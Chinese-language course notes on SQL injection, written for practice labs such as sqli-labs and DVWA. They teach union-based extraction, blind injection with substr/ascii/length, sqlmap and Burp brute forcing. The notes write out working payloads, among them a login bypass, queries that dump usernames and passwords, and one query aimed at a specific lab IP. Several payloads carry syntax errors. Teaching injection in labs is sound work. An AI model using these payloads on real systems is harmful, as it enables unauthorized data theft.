SQL注入盲注基础

目录

SQL注入基本概念

SQL注入产生的原因

 SQL注入的本质

SQL注入的两个关键点

 SQL注入分类

SQL注入流程

1.寻找注入点

2.判断闭合方式

3.验证漏洞

4.判断列数及回显

5.利用联合查询,判断回显位

 6.取数据库名

 7.取表名

8.查列名:

9.取最后的数据:

10.总结:

盲注的基本概念

什么是盲注

盲注的分类:

盲注常用函数(分号不要忘记)

 第三次课作业:

第五次课 自动化注入神器SQLMAP的使用

POST型的布尔盲注

漏洞挖掘的介绍

漏洞的定义

漏洞挖掘

OWASP TOP 10

漏洞挖掘的工具

python环境安装

sqlmap的使用

sqlmap的使用

测试单目标(get型)

​编辑--的命令小心使用。 ​编辑

 测试多目标(就是指多个关卡一起进行测试)

测试POST型

​编辑

SQL漏洞的寻找及提交(也别乱来)

​编辑

安全应急响应中心

漏洞盒子公益SRC

教育行业漏洞报告平台

方向 

​编辑


SQL注入基本概念

SQL注入产生的原因

当web应用向后台数据库传递SQL语句进行数据库操作时。如果对用户输入的参数没有经过严格的过滤处理,那么攻击者就可以构造特殊的SQL语句,直接输入数据库引擎执行,获取或者修改数据库中的数据。

 SQL注入的本质

把用户输入的数据当做代码来执行,违背了“数据与代码分离的原则”。

SQL注入的两个关键点


用户能够控制输入的内容
web应用把用户输入的内容带入到数据库中执行。

  • SQL注入的危害:SQL中(#)号是注释作用。

  •     :盗取网站的敏感信息。

  •     :绕过网站后台认证。

           万能密码:‘ or ‘1’ = ‘1’ #   

            其中第一个单引号和登陆语句本身的密码的单引号成对,or(全假才加),所以万能语            句为真,#将登陆语句后面的内容全部注释掉。

  •     :借助SQL注入漏洞提权获取系统的权限。

  •     :提取文件的信息。

 SQL注入分类

  • 根据注入位置分类:GET型、POST型、Head头注入
  • 根据反馈结构分类:有回显(显错注入)、无回显(盲注)
  • 根据数据类型分类:数字型和字符型
    数字型:输入的参数为整型,如ID、年龄、页码等。
    字符型:输入的参数为字符串。
    数字型与字符型的最大区别:数字型不需要单引号闭合,字符型一般需要单引号闭合(闭合方式也不一定就是单引号)。
  • SQL语句显示:在每一个关卡里面加入
    echo $sql;
    echo "
    ";

SQL注入流程

1.寻找注入点

比如密码输入、网页搜索框

2.判断闭合方式

?id=1sjkhd(后面的字母可以乱写)
有报错:数字型,数字类型无闭合
无报错:字符型,需要判断闭合方式,闭合方式有:'、"、')、")
将判断闭合方式语句后加一个单引号(判断闭合方式,此时语句知道类型为字符型):?id=1sjkhd'
如下:去掉我们输入的1sjkhd'后,观察右边,发现还剩下一个单引号,所以为单引号闭合方式SQL注入盲注基础_第1张图片

3.验证漏洞

?id = 1 and 1 --+  正常显示(--+与#一样,属于注释作用)真(and,全真才真)
?id = 1 and  0--+   无显示     假
两个语句执行后,第二个语句无显示,存在漏洞。

4.判断列数及回显

利用order by语句:?id=1') order by 4--+  (这里的数字从大到小测试,可以采用二分法)。
如下:
SQL注入盲注基础_第2张图片

5.利用联合查询,判断回显位

?id= -1') union select 1,2,3 --+ (注意:1前面有个负号,前面得知有三列)
如下:1没有显示,接下来就只需要到2和3有回显的位置进行测试。
SQL注入盲注基础_第3张图片

 6.取数据库名

如上知道,可以在2和3的位置进行注入。相应位置写:database()

取数据库名(在2的位置进行注入,3也可以):?id= -1') union select 1,database(),3 --+
如下:可以得到2的数据库名为:security

SQL注入盲注基础_第4张图片

 7.取表名

?id=-1') union select 1,(select group_concat (table_name) from information_schema.tables where table_schema=database()),3 --+

其中database()写成security也可以

information_schema:就是指数据库(点tables就是指数据库下的一张表)
group_conat:将我们查到的内容进行输出。
table——name:表名

SQL注入盲注基础_第5张图片

8.查列名:

对取表名的语句进行修改:?id=-1') union select 1,(select group_concat (table_name) from information_schema.tables where table_schema=database().....),3 --+

 修改后:?id=-1') union select 1,(select column_name) from information_schema.column where table_schema=database() and table_name='users',3++
其中:users为上面查到的表名,可以随便选一个来查询。
如下就可以知道:在users下有如下三个列名

SQL注入盲注基础_第6张图片

9.取最后的数据:

?id=-1') union select 1, ( select group_concat(username)from users ,3 --+
如下,就取出了username下的全部数据内容
 

SQL注入盲注基础_第7张图片

这里,可以在2的位置写上username,3的位置写上password,就可以的到全部数据
?id=-1') union select 1,group_concat (username),group_concat(password) from users --+
 

10.总结:

SQL注入盲注基础_第8张图片

盲注的基本概念

什么是盲注

指在SQL注入的过程中,找到注入点后,执行SQL语句后,选择的数据或者错误信息不能回显到前端页面

这里需要利用一些方法进行判断或者猜测,这个过程称之为盲注。

第八关就用到盲注的方法。因为当输入?id=1时,出现的是:You are in .......

只有两种显示,输入正确的语句,就显示you are in ......,输入错误的东西,就不显示内容。

SQL注入盲注基础_第9张图片

盲注的分类:

  • 基于布尔判断的盲注
  • 基于时间延迟的盲注
  • 基于报错显示的盲注

盲注常用函数(分号不要忘记)

  • substr(string,start,length)
    功能:截取字符串的功能
    返回值:返回截取后的字符串
    参数:string为操作字符串,start为字符串的开始位置,length为从开始位置截取的长度。
    比如:$ret = substr ("hello kali",2,4);
               ret = "ello" ; #(解释:从第二个位置开始,长度为4)
    比如:substr(database(),1,1)> ' a '  #(解释:判断数据库名第一位是否大于a,再查看其他位进行判断)。
     
  • mid(column_name,start,length)
    功能:与substr的功能是一样的。
     
  • left(string,n)
    功能:返回字符串string最左边的n个字符串
    返回值:字符串的左边的n个字符串
    比如:$ret = left("redhat",3);
    ret = "red";
    比如:left(database()2,=‘se’)#判断数据库名前2个字符是否为se;再查看其他位进行判断。
     
  • right(与left一样,只是说从右边开始)
     
  • ord (char)
    功能:char为字符,用于返回字符的ASCII码,有时候服务器会对单引号进行转义,使ASCII码就不适用单引号参数。
    返回值:返回ASCII码值
    比如:$ret = ord('a');
                ret = 97;
    比如:ord (mid(database),1,1)>114;#检测database()的第一位ASCII码是否发育114,也就是‘r’。
     
  • ascii(str)#与ord的功能一样。
     
  • length(string)
    功能:截取字符串的长度,判断字符串的长度
    比如:length(database())>5  #判断数据库名是否大于5.
     
  • ifnull(str1,str2)
    功能:根据第一个参数是否为null返回的具体值,ifnull里面有两个数,如果第一个数不为null,返回str1,如果第一个数str1=null,返回str2 。
    返回值:根据第一个参数来判断返回值。
    比如:$ret1 1=ifnull ("hello","nihao");
               ret1 = "hello"
               $ret2 = ifnull (null,"nihao");
               ret2 = "nihao"

     SQL注入盲注基础_第10张图片

 第三次课作业:

  • 判断类型:输入?id=1ijfifj,有报错

    SQL注入盲注基础_第11张图片

  • 验证漏洞:存在漏洞
    SQL注入盲注基础_第12张图片
  • 判断列数及回显,数字从大到小,采用二分法,测试有三列
    SQL注入盲注基础_第13张图片
  • 利用联合查询判断回显位,注意,id后面的-1不要省略
    SQL注入盲注基础_第14张图片
  • 取数据库名
    SQL注入盲注基础_第15张图片
  • 取表名
    SQL注入盲注基础_第16张图片
  • 取列名:把table改成column
    SQL注入盲注基础_第17张图片
  • 取全部数据:未完成http://120.27.61.239:8007/source/index.php?id=-1 union select 1,(select group_concat (email_id) from emails,3 --+

    SQL注入盲注原理及利用

第五次课 自动化注入神器SQLMAP的使用

POST型的布尔盲注

sqli-labs-master的第15关(正确的用户名和密码是admin,输入正确的羡慕会显示蓝色字体,错误的会显示红色字体)
SQL注入盲注基础_第18张图片          SQL注入盲注基础_第19张图片

  • (按照顺序进行)打开第15关,随便输入一个用户名的密码,打开火狐代理器中的burp,将代理打开进行抓包,点击关卡中的submit,
  • 点击空白处,点击send to repeater(打开重放模块)点击repeater,将代理模块放掉。
  • 在重放模块里面进行测试,先点击send(发送数据包)。render可以看到抓到的服务器的当前图片。

正确就会显示flag.jpg。

1.判断闭合方式,单引号,双引号,单引号括号,自己测试,后面raw回应里面如果是flag.jpg,就是正确的闭合方式,改题就是单引号闭合方式。
关于and和or,当知道用户名时用and,当用户名不知道是,用or

SQL注入盲注基础_第20张图片SQL注入盲注基础_第21张图片

 2.用length函数判断数据库长度:每一个函数后面的语句都要用括号扩起来。
uname=adin' or length(database())=8#&passwd=sdmin&submit=Submit

3.判断数据库的第一个字符,用ASCII函数和substr截取数据的第一个字母
uname=adin' or ascii(substr(database(),1,1))=115#&passwd=sdmin&submit=Submit

4.后面依次去盲注,慢慢做

漏洞挖掘的介绍

漏洞的定义

漏洞是指对任何风险或者威胁的可能性,这些风险或者威胁可能会损害存储在系统或者网络中信息的完整型,对其进行修改或者被攻击者用于灾难性目的。对网站(计算机)可以造成危害、影响的都归类为漏洞。

漏洞挖掘

漏洞挖掘是指对应用程序中未知漏洞的探索,通过综合利用各种技术和工具,尽可能地找出其中的潜在漏洞。一般情况下漏洞挖掘针对单一的应用系统,通过端口扫描、目录扫描、文件扫描等方式对其进行信息收集,然后再进行漏洞挖掘。信息收集越多越好。

OWASP TOP 10

OWASP TOP 10是由开放的web应用程序安全项目(OWASP)建立的公开共享的10个关键的web应用程序安全漏洞列表。根据OWASP,漏洞是程序中的一个弱点,它允许恶意方(攻击者)对应用程序的利益相关写(所有者、用户等)造成伤害。

漏洞挖掘的工具

  • burpsuite
  • sqlmap
  • xray
  • awvs
  • nessus
  • metasploit

python环境安装

https://www.python.org/ftp/python(安装版本)
https://www.python.org/downloads/(官网)

没有版本要求,看自己的电脑配置

注意,安装时,将add Python.exe to path要勾选上,这样就不用我们自己再去配置环境变量了。

sqlmap的使用

介绍:
SQL注入盲注基础_第22张图片

下载:https://sqlmap.org/
将文件解压后就可以使用,不需要安装。点击cmd,进入sqlmap.py,出现这样的界面就是正确的,如果不正确,检查Python程序的名字。

在没有进行Python环境配置的情况,找到下载的sqlmap文件夹,在搜索栏搜索cmd按回车后,输入Python sqlmap.py也可以。

SQL注入盲注基础_第23张图片

 SQL注入盲注基础_第24张图片

sqlmap的使用

测试单目标(get型)

SQL注入盲注基础_第25张图片--的命令小心使用。 SQL注入盲注基础_第26张图片

 测试多目标(就是指多个关卡一起进行测试)

SQL注入盲注基础_第27张图片

测试POST型

SQL注入盲注基础_第28张图片

SQL漏洞的寻找及提交(也别乱来)

发现漏洞后,不去取里面的数据就没什么大的问题,提交到相应的平台即可。

网站里面有.gov的,在未授权的情况下,千万不要去碰。

测试是否存在漏洞

SQL注入盲注基础_第29张图片

 如果有漏洞,可以提交到相应的平台

安全应急响应中心

SRC(security response center)是安全研究者反馈厂商产品和业务安全问题的官方平台,该平台旨在加强厂商与安全业界的合作,提升厂商整体安全水平,打造健康安全的互联网出行生态。

安全客里面提交漏洞。找到相应网站

漏洞盒子公益SRC

公益SRC是白帽子随机发现的漏洞提交平台呢。

教育行业漏洞报告平台

网站:https://src.sjtu.edu.sn/

SQL注入盲注基础_第30张图片

第六课 暴力破解网站和密码

暴力破解

就是指使用暴力的方式进行用户名和密码的破解,也就是指反复尝试错的方法来尝试你破解用户名或者密码。

比如:我们拿到一个网站的后台管理页面,但是不知道用户名和密码,这个时候,我们可以利用字典进行暴力破解。

为什么要进行暴力破解:一种获取用户名和密码的方式,

暴力破解的准备工作

  • 一个学习的靶场DVWA
  • 字典(爆破的效率和字典有关)
  • 爆破工具:burp suite

如何进行暴力破解

1.配置代理

要与浏览器的代理相同

2.用burp开始抓包

3.攻击模式
SQL注入盲注基础_第31张图片

 4.在线加密网站

SQL注入盲注基础_第32张图片

你可能感兴趣的:(自学内容,sql,数据库,mysql)